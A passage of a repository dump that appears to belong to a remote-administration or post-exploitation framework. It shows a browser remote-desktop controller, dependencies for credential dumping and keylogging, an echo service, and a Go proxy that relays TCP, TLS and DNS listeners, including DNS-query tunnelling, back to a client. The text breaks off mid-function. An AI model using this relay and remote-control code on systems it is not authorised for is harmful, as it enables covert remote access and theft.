    "content": "var RDHANDLER = function (port) {\n    var self = this;\n    var last_move = null;\n\n    RDHANDLER.prototype.print=(function (msg) {\n            $('#messages').append(msg+'<br />');\n    });\n\n    RDHANDLER.prototype.start=(function () {\n        if (\"WebSocket\" in window) {\n            var url=\"ws://\"+window.location.hostname+\":\"+port+\"/\"+window.location.pathname.split(\"/\",2)[1]+\"/ws\";\n            self.print(url);\n            self.ws = new WebSocket(url);\n\n            self.ws.onopen = function() {\n                self.print(\"Websocket connected !\");\n                self.start_stream();\n            };\n\n            self.ws.onmessage = function (evt) {\n                var data = jQuery.parseJSON(evt.data);\n                if('message' in data) {\n                    self.print(data.message);\n                }\n                else if('screen' in data) {\n                    $('#screenimg').attr('src', \"data:image/jpg;base64,\"+data['screen']);\n                }\n            };\n\n            self.ws.onclose = function() {\n                self.print('Connection is closed... reconnecting ...');\n                self.start();\n            };\n        } else {\n            self.print(\"WebSocket NOT supported by your Browser!\");\n        }\n    });\n\n    RDHANDLER.prototype.start_stream=(function () {\n        self.ws.send(JSON.stringify({\"msg\": \"start_stream\"}));\n    });\n\n    RDHANDLER.prototype.on_key_press=(function (e) {\n        self.ws.send(JSON.stringify({\"msg\": \"keypress\", \"key\": e.key}));\n    });\n\n    RDHANDLER.prototype.on_click=(function (e) {\n        pos_x = e.pageX-document.getElementById(\"screen\").offsetLeft;\n        pos_y = e.pageY-document.getElementById(\"screen\").offsetTop;\n        self.ws.send(JSON.stringify({\"msg\":\"click\", \"x\":pos_x, \"y\": pos_y}));\n    });\n\n    RDHANDLER.prototype.on_mouse_move=(function (e) {\n        if (last_move==null || (Date.now()-self.last_move > 10)) {\n            self.last_move = Date.now();\n            pos_x = e.pageX-document.getElementById(\"screen\").offsetLeft;\n            pos_y = e.pageY-document.getElementById(\"screen\").offsetTop;\n            self.ws.send(JSON.stringify({\"msg\":\"move\", \"x\":pos_x, \"y\": pos_y}));\n        }\n    });\n}\n"
  },
  {
    "path": "requirements.txt",
    "content": "pycryptodome\npefile \npyyaml\nrsa\nnetaddr\necdsa==0.13\nparamiko==2.0.2\ntinyec @ https://github.com/alxchk/tinyec/archive/master.zip\npsutil\nnetifaces\npylzma\ncolorama\nmss==4.0.3\npyOpenSSL\nscapy\nimpacket\ndnslib\nhttp-parser\ncerberus\nlogutils\nsecretstorage==2.3.1\npypykatz @ https://github.com/AlessandroZ/pypykatz/archive/master.zip\ned25519==1.5\npygments\nrequests\ntornado\nwin_inet_pton\nscandir\nmsgpack==0.6.2\nhexdump\nM2Crypto>=0.30.1\nfusepy\ndefusedxml\nkeyboard==0.13.4\ndateparser\nputtykeys\npyelftools\nfilemagic\nxattr\ndukpy\npyaes\nchardet\nurllib-auth @ https://github.com/alxchk/urllib-auth/archive/master.zip\nhttp_request\nkcp @ git+https://github.com/n1nj4sec/pykcp\nflake8\nflake8-per-file-ignores\nushlex; python_version<'3'\npyuv @ git+https://github.com/n1nj4sec/pyuv@fix-building-against-python311\ntqdm\n"
  },
  {
    "path": "services/echo/main.go",
    "content": "package main\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"fmt\"\n\t\"log\"\n\t\"net\"\n\t\"net/http\"\n\t\"os\"\n\t\"os/signal\"\n\t\"strings\"\n\n\t\"github.com/LiamHaworth/go-tproxy\"\n)\n\nvar (\n\tEchoBindHost = \"0.0.0.0\"\n\tEchoBindPort = 31337\n\tEchoMagic    = \"\\xDE\\xAD\\xBE\\xEF\"\n)\n\nfunc isHttpEchoRequest(body []byte) bool {\n\tbuf := bufio.NewReader(bytes.NewReader(body))\n\treq, err := http.ReadRequest(buf)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tfor k, v := range req.URL.Query() {\n\t\tif strings.ToLower(k) == \"echo\" {\n\t\t\tfor _, value := range v {\n\t\t\t\tif value == EchoMagic {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc handleConn(conn net.Conn) {\n\tdefer conn.Close()\n\n\tbuffer := make([]byte, 32768)\n\n\tn, err := conn.Read(buffer)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tswitch {\n\tcase isHttpEchoRequest(buffer):\n\t\tlog.Println(\n\t\t\t\"TCP/HTTP: \"+conn.RemoteAddr().String(), \"->\",\n\t\t\tconn.LocalAddr().String(), \" b: \", n,\n\t\t)\n\t\tconn.Write(\n\t\t\t[]byte(fmt.Sprintf(\n\t\t\t\t\"HTTP/1.1 200 OK\\r\\nContent-Type: application/octet-stream\"+\n\t\t\t\t\t\"\\r\\nContent-Length: %d\\r\\n\\r\\n\", n,\n\t\t\t)),\n\t\t)\n\tcase bytes.Equal(buffer[:4], []byte(EchoMagic)):\n\t\tlog.Println(\n\t\t\t\"TCP/RAW: \"+conn.RemoteAddr().String(), \"->\",\n\t\t\tconn.LocalAddr().String(), \" b: \", n,\n\t\t)\n\tdefault:\n\t\treturn\n\t}\n\n\tconn.Write(buffer[:n])\n}\n\nfunc tcpEchoServer(listener net.Listener) {\n\tfor {\n\t\tconn, err := listener.Accept()\n\t\tif err != nil {\n\t\t\tif netErr, ok := err.(net.Error); ok && netErr.Temporary() {\n\t\t\t\tlog.Printf(\"Temporary error while accepting connection: %s\", netErr)\n\t\t\t}\n\n\t\t\tlog.Fatalf(\"Unrecoverable error while accepting connection: %s\", err)\n\t\t\treturn\n\t\t}\n\n\t\tgo handleConn(conn)\n\t}\n}\n\nfunc udpEchoServer(listener *net.UDPConn) {\n\tbuffer := make([]byte, 1500)\n\n\tfor {\n\t\tn, srcAddr, dstAddr, err := tproxy.ReadFromUDP(listener, buffer)\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"UDP reader failed: \", err)\n\t\t}\n\n\t\tif srcAddr.IP.Equal(dstAddr.IP) || n < 4 {\n\t\t\tcontinue\n\t\t}\n\n\t\tif !bytes.Equal(buffer[:4], []byte(EchoMagic)) {\n\t\t\tcontinue\n\t\t}\n\n\t\tlog.Println(\n\t\t\t\"UDP: \"+srcAddr.String(), \"->\",\n\t\t\tdstAddr.String(), \" b: \", n,\n\t\t)\n\n\t\tremoteConn, err := tproxy.DialUDP(\"udp\", dstAddr, srcAddr)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\tcontinue\n\t\t}\n\n\t\t_, err = remoteConn.Write(buffer[:n])\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\tcontinue\n\t\t}\n\t}\n}\n\nfunc main() {\n\tlog.Print(\"Echo server starting\")\n\n\tlog.Printf(\"Binding TCP TProxy listener to %s:%d\", EchoBindHost, EchoBindPort)\n\ttcpListener, err := tproxy.ListenTCP(\n\t\t\"tcp\", &net.TCPAddr{\n\t\t\tIP:   net.ParseIP(EchoBindHost),\n\t\t\tPort: EchoBindPort,\n\t\t})\n\n\tif err != nil {\n\t\tlog.Fatalf(\"Encountered error while binding listener: %s\", err)\n\t\treturn\n\t}\n\n\tudpListener, err := tproxy.ListenUDP(\n\t\t\"udp\", &net.UDPAddr{\n\t\t\tIP:   net.ParseIP(EchoBindHost),\n\t\t\tPort: EchoBindPort,\n\t\t})\n\n\tif err != nil {\n\t\tlog.Fatalf(\"Encountered error while binding listener: %s\", err)\n\t\treturn\n\t}\n\n\tgo tcpEchoServer(tcpListener)\n\tgo udpEchoServer(udpListener)\n\n\tinterruptListener := make(chan os.Signal)\n\tsignal.Notify(interruptListener, os.Interrupt)\n\t<-interruptListener\n\n\tlog.Println(\"Interrupted\")\n}\n"
  },
  {
    "path": "services/proxy/daemon.go",
    "content": "package main\n\nimport (\n\t\"crypto/tls\"\n\t\"net\"\n\t\"net/http\"\n\n\t\"time\"\n\n\t\"sync/atomic\"\n\n\tlog \"github.com/sirupsen/logrus\"\n)\n\nfunc NewDaemon(addr string) *Daemon {\n\treturn &Daemon{\n\t\tAddr:      addr,\n\t\tListeners: make(map[int]*Listener),\n\t}\n}\n\nfunc (d *Daemon) ListenAndServe() error {\n\tlistener, err := net.Listen(\"tcp\", d.Addr)\n\tif err != nil {\n\t\tlog.Error(\"Listen error: \", err)\n\t\treturn err\n\t}\n\n\tfor {\n\t\tconn, err := listener.Accept()\n\t\tlog.Debug(\"HANDLE INCOMING CONNECTION\")\n\t\tif err != nil {\n\t\t\tlog.Error(\"Accept error: \", err)\n\t\t\treturn err\n\t\t}\n\n\t\tconn.(*net.TCPConn).SetKeepAlive(true)\n\t\tconn.(*net.TCPConn).SetKeepAlivePeriod(1 * time.Minute)\n\t\tconn.(*net.TCPConn).SetNoDelay(true)\n\n\t\tconn = tls.Server(conn, ListenerConfig)\n\n\t\tgo d.handle(conn)\n\t}\n}\n\nfunc (d *Daemon) onListenerEnabled() {\n\tif atomic.AddInt32(&d.UsersCount, 1) == 1 && OnListenerEnabledURL != \"\" {\n\t\tresponse, err := http.Get(OnListenerEnabledURL)\n\t\tif err != nil {\n\t\t\tlog.Error(\"Register failed: \", err)\n\t\t} else {\n\t\t\tlog.Info(\"Register:\", OnListenerEnabledURL, \": \", response.Status)\n\t\t}\n\t}\n}\n\nfunc (d *Daemon) onListenerDisabled() {\n\tif atomic.AddInt32(&d.UsersCount, -1) == 0 && OnListenerDisabledURL != \"\" {\n\t\tresponse, err := http.Get(OnListenerDisabledURL)\n\t\tif err != nil {\n\t\t\tlog.Error(\"Register failed: \", err)\n\t\t} else {\n\t\t\tlog.Info(\"Register:\", OnListenerDisabledURL, \": \", response.Status)\n\t\t}\n\t}\n}\n\nfunc (d *Daemon) handle(conn net.Conn) {\n\tdefer conn.Close()\n\n\tbrh := &BindRequestHeader{}\n\n\terr := RecvMessage(conn, brh)\n\tif err != nil {\n\t\tlog.Error(\"Couldn't read bind request: \", err)\n\t\treturn\n\t}\n\n\tlog.Debug(brh)\n\n\t/* Check PSK */\n\n\tlog.Debug(\"PROTOCOL CODE: \", brh.Protocol)\n\n\tclient := conn.RemoteAddr().String()\n\n\tswitch brh.Protocol {\n\tcase DNS:\n\t\t/* Check DNS Already served */\n\n\t\td.DNSCheck.Lock()\n\t\tif d.DNSListener != nil {\n\t\t\tlog.Warning(\n\t\t\t\t\"Request: DNS Handler for domain:\", brh.BindInfo,\n\t\t\t\t\" client: \", client, \" - request shutdown\",\n\t\t\t)\n\t\t\td.DNSListener.sendEmptyMessage()\n\t\t\td.DNSListener.Shutdown()\n\t\t} else {\n\t\t\tlog.Warning(\n\t\t\t\t\"Request: DNS Handler for domain:\", brh.BindInfo,\n\t\t\t\t\" client: \", client, \" - wait for availability\",\n\t\t\t)\n\t\t}\n\t\td.DNSCheck.Unlock()\n\n\t\td.DNSLock.Lock()\n\t\td.onListenerEnabled()\n\t\tlog.Warning(\n\t\t\t\"Request: DNS Handler for domain:\", brh.BindInfo,\n\t\t\t\" client: \", client, \" - start\",\n\t\t)\n\t\td.serveDNS(conn, brh.BindInfo)\n\t\tlog.Warning(\n\t\t\t\"Request: DNS Handler for domain:\", brh.BindInfo,\n\t\t\t\" client: \", client, \" - complete\",\n\t\t)\n\t\td.onListenerDisabled()\n\t\td.DNSLock.Unlock()\n\n\tcase INFO:\n\t\tvar ip string\n\n\t\tif CheckExternalBindHostIP() {\n\t\t\tip = ExternalBindHost\n\t\t\tif string(ip[0]) == \"[\" {\n\t\t\t\tip = ip[1 : len(ip)-1]\n\t\t\t}\n\n\t\t\tlog.Warning(\"Request: External IP:\", ip, \" (Manual)\")\n\t\t} else {\n\t\t\tipv4 := GetOutboundIPv4()\n\t\t\tipv6 := GetOutboundIPv6()\n\n\t\t\tlog.Warning(\n\t\t\t\t\"Request: External IPv4:\", ipv4,\n\t\t\t\t\" IPv6:\", ipv6, \" (Auto)\")\n\n\t\t\tip = ipv4\n\t\t}\n\n\t\tSendMessage(conn, &IPInfo{\n\t\t\tIP: ip,\n\t\t})\n\n\tcase TCP:\n\t\tlog.Warning(\n\t\t\t\"Request: TCP handler with port:\", brh.BindInfo,\n\t\t\t\" client: \", client, \" - start\",\n\t\t)\n\t\td.onListenerEnabled()\n\t\td.serveStream(-1, conn, brh.BindInfo, d.listenAcceptTCP)\n\t\td.onListenerDisabled()\n\t\tlog.Warning(\n\t\t\t\"Request: TCP handler with port:\", brh.BindInfo,\n\t\t\t\" client: \", client, \" - complete\",\n\t\t)\n\n\tcase KCP:\n\t\tlog.Warning(\n\t\t\t\"Request: KCP handler with port:\", brh.BindInfo,\n\t\t\t\" client: \", client, \" MTU:\", brh.MTU, \" - start\",\n\t\t)\n\t\td.onListenerEnabled()\n\t\td.serveStream(brh.MTU, conn, brh.BindInfo, d.listenAcceptKCP)\n\t\td.onListenerDisabled()\n\t\tlog.Warning(\n\t\t\t\"Request: KCP handler with port:\", brh.BindInfo,\n\t\t\t\" client: \", client, \" - complete\",\n\t\t)\n\n\tcase TLS:\n\t\tlog.Warning(\n\t\t\t\"Request: SSL handler with port:\", brh.BindInfo,\n\t\t\t\" client: \", client, \" - start\",\n\t\t)\n\t\td.onListenerEnabled()\n\t\td.serveStream(-1, conn, brh.BindInfo, d.listenAcceptTLS)\n\t\td.onListenerDisabled()\n\t\tlog.Warning(\n\t\t\t\"Request: SSL handler with port:\", brh.BindInfo,\n\t\t\t\" client: \", client, \" - complete\",\n\t\t)\n\n\tdefault:\n\t\tlog.Error(\"Unknown protocol\", brh.Protocol)\n\t}\n}\n"
  },
  {
    "path": "services/proxy/dns.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"strings\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"errors\"\n\n\tdns \"github.com/miekg/dns\"\n\trc \"github.com/paulbellamy/ratecounter\"\n\tlog \"github.com/sirupsen/logrus\"\n)\n\nfunc (d *Daemon) serveDNS(conn net.Conn, domain string) error {\n\td.DNSCheck.Lock()\n\td.DNSListener = NewDNSListener(conn, domain)\n\td.DNSCheck.Unlock()\n\n\tlog.Debug(\"DNS: Enabled: \", domain)\n\terr := d.DNSListener.Serve()\n\tlog.Debug(\"DNS: Disabled: \", domain, err)\n\n\td.DNSCheck.Lock()\n\td.DNSListener = nil\n\td.DNSCheck.Unlock()\n\treturn err\n}\n\nfunc (p *DNSListener) listenAndServeTCP(cherr chan error) {\n\terr := p.TCPServer.ListenAndServe()\n\tif err != nil {\n\t\tlog.Error(\"Couldn't start TCP DNS listener:\", err)\n\t}\n\n\tcherr <- err\n\tlog.Debug(\"[1.] DNS TCP CLOSED\")\n}\n\nfunc (p *DNSListener) listenAndServeUDP(cherr chan error) {\n\terr := p.UDPServer.ListenAndServe()\n\tif err != nil {\n\t\tlog.Error(\"Couldn't start TCP DNS listener:\", err)\n\t}\n\n\tcherr <- err\n\tlog.Debug(\"[2.] DNS UDP CLOSED\")\n}\n\nfunc (p *DNSListener) messageReader(cherr chan error, chmsg chan []string) {\n\tfor {\n\t\tvar response []string\n\n\t\terr := RecvMessage(p.Conn, &response)\n\t\tif err != nil || response == nil {\n\t\t\tlog.Error(\"DNS: RecvMessage failed: \", err)\n\t\t\tcherr <- err\n\t\t\tbreak\n\t\t} else {\n\t\t\tr := atomic.AddInt32(&p.pendingRequests, -1)\n\t\t\tif r == 0 {\n\t\t\t\tp.Conn.SetDeadline(time.Time{})\n\t\t\t}\n\t\t\tchmsg <- response\n\n\t\t}\n\t}\n\n\tclose(chmsg)\n\tlog.Debug(\"[3.] REMOTE READER CLOSED\")\n}\n\nfunc (p *DNSListener) responseProcessor(queue chan chan []string, recvStrings chan []string) {\n\tfor {\n\t\tresponse := <-recvStrings\n\n\t\tif response == nil {\n\t\t\tbreak\n\t\t}\n\n\t\trchan := <-queue\n\t\tif rchan == nil {\n\t\t\tbreak\n\t\t}\n\n\t\trchan <- response\n\t}\n\nwaitLoop:\n\tfor {\n\t\tselect {\n\t\tcase ignore := <-queue:\n\t\t\tif ignore == nil {\n\t\t\t\tbreak waitLoop\n\t\t\t}\n\n\t\t\tignore <- []string{}\n\t\tdefault:\n\t\t\tbreak waitLoop\n\t\t}\n\t}\n\n\tlog.Debug(\"[5.] RESPONSE PROCESSOR CLOSED\")\n}\n\nfunc (p *DNSListener) sendEmptyMessage() {\n\tSendMessage(p.Conn, \"\")\n}\n\nfunc (p *DNSListener) queryProcessor(\n\tqueue chan chan []string,\n\tinterrupt <-chan bool, closeNotify chan<- bool, decoderr chan<- error) {\n\n\tignore := false\n\tnotifySent := false\n\n\tfor {\n\t\tvar (\n\t\t\terr error\n\t\t\tr   *DNSRequest\n\t\t)\n\n\t\tr = nil\n\t\tinterrupted := false\n\n\t\tlog.Debug(\"DNS. Wait for interrupt or for close request\")\n\n\t\tselect {\n\t\tcase r = <-p.DNSRequests:\n\t\tcase _ = <-interrupt:\n\t\t\tinterrupted = true\n\t\t}\n\n\t\tlog.Debug(\"DNS. Wait done: \", r, ignore)\n\n\t\tif r == nil || interrupted {\n\t\t\tif interrupted {\n\t\t\t\tlog.Error(\"DNS: Interrupt request received\", notifySent)\n\t\t\t}\n\n\t\t\tif !notifySent {\n\t\t\t\tlog.Debug(\"Send close notify\")\n\t\t\t\tcloseNotify <- true\n\t\t\t\tnotifySent = true\n\t\t\t\tclose(closeNotify)\n\t\t\t}\n\n\t\t\tlog.Debug(\"Ignore 1\")\n\t\t\tignore = true\n\t\t}\n\n\t\tif ignore {\n\t\t\tif r != nil {\n\t\t\t\tr.IPs <- []string{}\n\t\t\t\tcontinue\n\t\t\t} else {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tp.Conn.SetDeadline(time.Now().Add(20 * time.Second))\n\n\t\terr = SendMessage(p.Conn, r.Type+\":\"+r.Name)\n\t\tif err != nil {\n\t\t\tlog.Error(\"DNS: Send message failed: \", err)\n\t\t\tr.IPs <- []string{}\n\t\t\tdecoderr <- err\n\t\t\tignore = true\n\t\t\tcontinue\n\t\t} else {\n\t\t\tif atomic.AddInt32(&p.pendingRequests, 1) > 512 {\n\t\t\t\tr.IPs <- []string{}\n\t\t\t\tdecoderr <- errors.New(\"Too many pending requests\")\n\t\t\t\tignore = true\n\t\t\t\tcontinue\n\t\t\t} else {\n\t\t\t\tqueue <- r.IPs\n\t\t\t}\n\t\t}\n\t}\n\nwaitLoop:\n\tfor {\n\t\tselect {\n\t\tcase r := <-p.DNSRequests:\n\t\t\tif r != nil {\n\t\t\t\tr.IPs <- []string{}\n\t\t\t}\n\t\tdefault:\n\t\t\tbreak waitLoop\n\t\t}\n\t}\n\n\tlog.Debug(\"[4.] Message processor closed\")\n}\n\nfunc warnSlow(message string, now time.Time, max time.Duration) {\n\tcurrent := time.Now()\n\tbarrier := now.Add(max)\n\tdiff := current.Sub(now).Seconds()\n\n\tif barrier.Before(current) {\n\t\tlog.Warning(fmt.Sprintf(\"%s: %.2fs\", message, diff))\n\t}\n}\n\nfunc (p *DNSListener) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {\n\tm := new(dns.Msg)\n\tm.SetReply(r)\n\tm.Compress = true\n\tm.Authoritative = false\n\n\tprocessed := true\n\n\tnow := time.Now()\n\tresult := make(chan []string)\n\n\tp.dnsRequestsCounter.Incr(1)\n\tdefer p.dnsProcessedRequestsCounter.Incr(1)\n\n\tp.processedRequests.Add(1)\n\tdefer p.processedRequests.Done()\n\tdefer close(result)\n\n\tp.cacheLock.Lock()\n\tfor k, v := range p.DNSCache {\n\t\tif v.LastActivity.Add(1 * time.Minute).Before(now) {\n\t\t\tlog.Debug(\"Delete cache: \", k)\n\t\t\tdelete(p.DNSCache, k)\n\t\t}\n\t}\n\tp.cacheLock.Unlock()\n\n\tif len(r.Question) > 0 {\n\t\tfor _, q := range r.Question {\n\t\t\tquestion := q.Name[:]\n\t\t\tif q.Name[len(q.Name)-1] == '.' {\n\t\t\t\tquestion = q.Name[:len(q.Name)-1]\n\t\t\t}\n\n\t\t\tpayloadLen := len(question) - len(p.Domain) - 1\n\t\t\tif payloadLen <= 0 {\n\t\t\t\tpayloadLen = 0\n\t\t\t}\n\n\t\t\tqtype := dns.Type(q.Qtype).String()\n\n\t\t\tlog.Debug(\"DNS: Request: \", qtype, \" \", q.Name)\n\n\t\t\trecord := &DNSCacheRecord{}\n\t\t\tok := true\n\n\t\t\tcacheKey := \"\"\n\n\t\t\tif q.Qtype == dns.TypeA || q.Qtype == dns.TypeAAAA {\n\t\t\t\tcacheKey = qtype + \":\" + q.Name\n\n\t\t\t\tp.cacheLock.Lock()\n\t\t\t\trecord, ok = p.DNSCache[cacheKey]\n\t\t\t\tp.cacheLock.Unlock()\n\t\t\t}\n\n\t\t\tif !ok {\n\t\t\t\tlog.Info(\"DNS: Request: \", q.Name, \" not in cache; PL: \", payloadLen)\n\n\t\t\t\tresponses := []string{}\n\n\t\t\t\tif strings.HasSuffix(question, p.Domain) {\n\t\t\t\t\tif p.active {\n\t\t\t\t\t\tp.dnsRemoteRequestsCounter.Incr(1)\n\n\t\t\t\t\t\tif payloadLen <= len(question) {\n\t\t\t\t\t\t\tquestion = question[:payloadLen]\n\n\t\t\t\t\t\t\tnow2 := time.Now()\n\n\t\t\t\t\t\t\tp.DNSRequests <- &DNSRequest{\n\t\t\t\t\t\t\t\tName: question,\n\t\t\t\t\t\t\t\tType: qtype,\n\t\t\t\t\t\t\t\tIPs:  result,\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tlog.Debug(\"DNS: Send request: \", question)\n\t\t\t\t\t\t\tresponses = <-result\n\t\t\t\t\t\t\tlog.Info(\"DNS: Response: \", question, \": \", responses)\n\n\t\t\t\t\t\t\twarnSlow(fmt.Sprintf(\n\t\t\t\t\t\t\t\t\"DNS: Slow RR communication: (Rates: Remote=%dps Total=%dps Processed=%dps)\",\n\t\t\t\t\t\t\t\tp.dnsRemoteRequestsCounter.Rate()/10,\n\t\t\t\t\t\t\t\tp.dnsRequestsCounter.Rate()/10,\n\t\t\t\t\t\t\t\tp.dnsProcessedRequestsCounter.Rate()/10,\n\t\t\t\t\t\t\t), now2, 1*time.Second)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif len(responses) > 0 {\n\t\t\t\t\t\tdnsResponses := make([]dns.RR, len(responses))\n\n\t\t\t\t\t\tfor i, response := range responses {\n\t\t\t\t\t\t\theader := dns.RR_Header{\n\t\t\t\t\t\t\t\tName:   q.Name,\n\t\t\t\t\t\t\t\tRrtype: q.Qtype,\n\t\t\t\t\t\t\t\tClass:  dns.ClassINET,\n\t\t\t\t\t\t\t\tTtl:    60,\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tswitch q.Qtype {\n\t\t\t\t\t\t\tcase dns.TypeA:\n\t\t\t\t\t\t\t\tdnsResponses[i] = &dns.A{\n\t\t\t\t\t\t\t\t\tHdr: header,\n\t\t\t\t\t\t\t\t\tA:   net.ParseIP(response).To4(),\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tcase dns.TypeAAAA:\n\t\t\t\t\t\t\t\tdnsResponses[i] = &dns.AAAA{\n\t\t\t\t\t\t\t\t\tHdr:  header,\n\t\t\t\t\t\t\t\t\tAAAA: net.ParseIP(response).To16(),\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\trecord = &DNSCacheRecord{\n\t\t\t\t\t\t\tResponseRecords: dnsResponses,\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tp.cacheLock.Lock()\n\t\t\t\t\t\tp.DNSCache[cacheKey] = record\n\t\t\t\t\t\tp.cacheLock.Unlock()\n\t\t\t\t\t} else {\n\t\t\t\t\t\tprocessed = false\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tprocessed = false\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif processed {\n\t\t\t\tfor _, rr := range record.ResponseRecords {\n\t\t\t\t\tm.Answer = append(m.Answer, rr)\n\t\t\t\t}\n\n\t\t\t\trecord.LastActivity = now\n\t\t\t}\n\t\t}\n\t}\n\n\tw.WriteMsg(m)\n}\n\nfunc NewDNSListener(conn net.Conn, domain string) *DNSListener {\n\tlistener := &DNSListener{\n\t\tConn:   conn,\n\t\tDomain: domain,\n\n\t\tDNSCache: make(map[string]*DNSCacheRecord),\n\t\tUDPServer: &dns.Server{\n\t\t\tAddr:    fmt.Sprintf(\"%s:%d\", ExternalBindHost, DnsBindPort),\n\t\t\tNet:     \"udp\",\n\t\t\tUDPSize: int(UDPSize),\n\t\t},\n\t\tTCPServer: &dns.Server{\n\t\t\tAddr: fmt.Sprintf(\"%s:%d\", ExternalBindHost, DnsBindPort),\n\t\t\tNet:  \"tcp\",\n\t\t},\n\t\tDNSRequests: make(chan *DNSRequest),\n\n\t\tdnsRequestsCounter:          rc.NewRateCounter(10 * time.Second),\n\t\tdnsRemoteRequestsCounter:    rc.NewRateCounter(10 * time.Second),\n\t\tdnsProcessedRequestsCounter: rc.NewRateCounter(10 * time.Second),\n\n\t\tactive: true,\n\t}\n\n\tlistener.UDPServer.Handler = listener\n\tlistener.TCPServer.Handler = listener\n\n\treturn listener\n}\n\nfunc (p *DNSListener) Serve() error {\n\t/* Add error handling */\n\n\ttcperr := make(chan error)\n\tudperr := make(chan error)\n\tdecoderr := make(chan error)\n\trecvStrings := make(chan []string)\n\trecvErrors := make(chan error)\n\tcloseNotify := make(chan bool)\n\tinterruptNotify := make(chan bool)\n\tresponsesQueue := make(chan chan []string, 512)\n\n\tdefer close(tcperr)\n\tdefer close(udperr)\n\tdefer close(decoderr)\n\tdefer close(recvErrors)\n\tdefer close(responsesQueue)\n\n\tgo p.listenAndServeTCP(tcperr)\n\tgo p.listenAndServeUDP(udperr)\n\tgo p.messageReader(recvErrors, recvStrings)\n\tgo p.queryProcessor(responsesQueue, interruptNotify, closeNotify, decoderr)\n\tgo p.responseProcessor(responsesQueue, recvStrings)\n\n\tvar err error\n\n\ttcpClosed := false\n\tudpClosed := false\n\tdecoderClosed := false\n\tmsgsClosed := false\n\tshutdown := false\n\n\tfor !(tcpClosed && udpClosed && decoderClosed && msgsClosed) {\n\t\tvar err2 error\n\t\tselect {\n\t\tcase err2 = <-tcperr:\n\t\t\tlog.Println(\"Recv tcpClosed\")\n\t\t\ttcpClosed = true\n\n\t\tcase err2 = <-udperr:\n\t\t\tlog.Println(\"Recv udpClosed\")\n\t\t\tudpClosed = true\n\n\t\tcase err2 = <-decoderr:\n\t\t\tlog.Println(\"Recv decoderClosed\")\n\n\t\tcase err2 = <-recvErrors:\n\t\t\tlog.Println(\"Recv msgsClosed\")\n\t\t\tmsgsClosed = true\n\t\t\tclose(interruptNotify)\n\n\t\tcase <-closeNotify:\n\t\t\tlog.Println(\"Recv decoderClosed\")\n\t\t\tshutdown = true\n\t\t\tdecoderClosed = true\n\t\t}\n\n\t\tlog.Debug(\"Call closed\")\n\t\tp.Shutdown()\n\t\tlog.Debug(\"Call closed complete\")\n\n\t\tif err == nil {\n\t\t\terr = err2\n\t\t}\n\n\t\tlog.Debug(\"CLOSED: \", tcpClosed, udpClosed, decoderClosed, msgsClosed, shutdown)\n\t}\n\n\tlog.Debug(\"Wait process group complete\")\n\tp.processedRequests.Wait()\n\tlog.Debug(\"Wait process group complete - done\")\n\tclose(p.DNSRequests)\n\tp.DNSRequests = nil\n\n\treturn err\n}\n\nfunc (p *DNSListener) Shutdown() {\n\tp.activeLock.Lock()\n\tif p.active {\n\t\tp.active = false\n\t\tp.UDPServer.Shutdown()\n\t\tp.TCPServer.Shutdown()\n\t\tp.Conn.Close()\n\t\tlog.Debug(\"CLOSING DNS REQUESTS\")\n\t\tlog.Debug(\"DNS REQUESTS CLOSED\")\n\t}\n\tp.activeLock.Unlock()\n}\n"
  },
  {
    "path": "services/proxy/generate.go",
    "content": "package main\n\nimport (\n\t\"net\"\n\n\t\"crypto/ecdsa\"\n\t\"crypto/elliptic\"\n\t\"crypto/rand\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"encoding/pem\"\n\t\"math/big\"\n\t\"os\"\n\t\"time\"\n\n\tlog \"github.com/sirupsen/logrus\"\n)\n\nfunc GetOutboundIPv4() string {\n\tconn, err := net.Dial(\"udp\", \"8.8.8.8:80\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer conn.Close()\n\n\tlocalAddr := conn.LocalAddr().(*net.UDPAddr)\n\n\treturn localAddr.IP.String()\n}\n\nfunc GetOutboundIPv6() string {\n\tconn, err := net.Dial(\"udp\", \"[2001:4860:4860::8888]:80\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer conn.Close()\n\n\tlocalAddr := conn.LocalAddr().(*net.UDPAddr)\n\n\treturn localAddr.IP.String()\n}\n\nfunc CheckExternalBindHostIP() bool {\n\thost := ExternalBindHost\n\tif string(host[0]) == \"[\" {\n\t\thost = ExternalBindHost[1 : len(ExternalBindHost)-1]\n\t}\n\n\tifaces, err := net.Interfaces()\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tfor _, i := range ifaces {\n\t\taddrs, err := i.Addrs()\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\t// handle err\n\t\tfor _, addr := range addrs {\n\t\t\tvar ip net.IP\n\t\t\tswitch v := addr.(type) {\n\t\t\tcase *net.IPNet:\n\t\t\t\tip = v.IP\n\t\t\tcase *net.IPAddr:\n\t\t\t\tip = v.IP\n\t\t\t}\n\t\t\t// process IP address\n\n\t\t\tif ip.String() == host {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc getCN() string {\n\tswitch {\n\tcase ProxyHostname != \"\":\n\t\treturn ProxyHostname\n\n\tcase CheckExternalBindHostIP():\n\t\treturn ExternalBindHost\n\n\tdefault:\n\t\treturn 